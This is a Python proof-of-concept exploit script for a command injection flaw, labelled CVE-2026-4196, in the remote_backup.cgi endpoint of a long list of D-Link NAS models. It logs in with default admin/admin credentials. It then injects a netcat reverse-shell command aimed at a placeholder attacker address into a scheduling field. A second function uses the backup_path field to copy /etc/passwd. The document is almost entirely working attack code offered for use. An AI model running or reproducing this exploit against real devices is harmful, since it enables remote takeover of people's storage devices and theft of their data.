import requests
# CVE-2026-4196 PoC - D-Link NAS Command Injection
# Target: D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW,
# DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326,
# DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05, DNS-1550-04
target_ip = "192.168.1.100"
target_port = 80
target_url = f"http://{target_ip}:{target_port}/cgi-bin/remote_backup.cgi"
# Login credentials (low privilege required)
username = "admin"
password = "admin"
# Command injection payload - creates reverse shell
# Inject via cgi_set_schedule function
payload = ";nc -e /bin/bash <attacker_ip> <attacker_port>;"
def exploit_cve_2026_4196():
"""Exploit command injection in remote_backup.cgi"""
# Step 1: Login to obtain session
login_data = {
"username": username,
"password": password
}
session = requests.Session()
login_response = session.post(
f"http://{target_ip}:{target_port}/cgi-bin/login.cgi",
data=login_data
)
if login_response.status_code != 200:
print("[-] Login failed")
return False
print("[+] Login successful")
# Step 2: Exploit via cgi_set_schedule function
exploit_data = {
"func": "cgi_set_schedule",
"schedule_name": "backup_job",
"schedule_time": payload, # Command injection point
"backup_type": "full"
}
response = session.post(target_url, data=exploit_data)
if response.status_code == 200:
print("[+] Exploit sent successfully")
print("[*] Check for reverse shell on attacker machine")
return True
else:
print("[-] Exploit failed")
return False
def alternative_exploit():
"""Alternative exploit via cgi_backup_now function"""
session = requests.Session()
# Login first
session.post(
f"http://{target_ip}:{target_port}/cgi-bin/login.cgi",
data={"username": username, "password": password}
)
# Exploit via cgi_backup_now
exploit_data = {
"func": "cgi_backup_now",
"backup_path": ";cat /etc/passwd > /tmp/pwned;"
}
response = session.post(target_url, data=exploit_data)
return response.status_code == 200
if __name__ == "__main__":
print("CVE-2026-4196 D-Link NAS Command Injection Exploit")
print("=" * 50)
exploit_cve_2026_4196()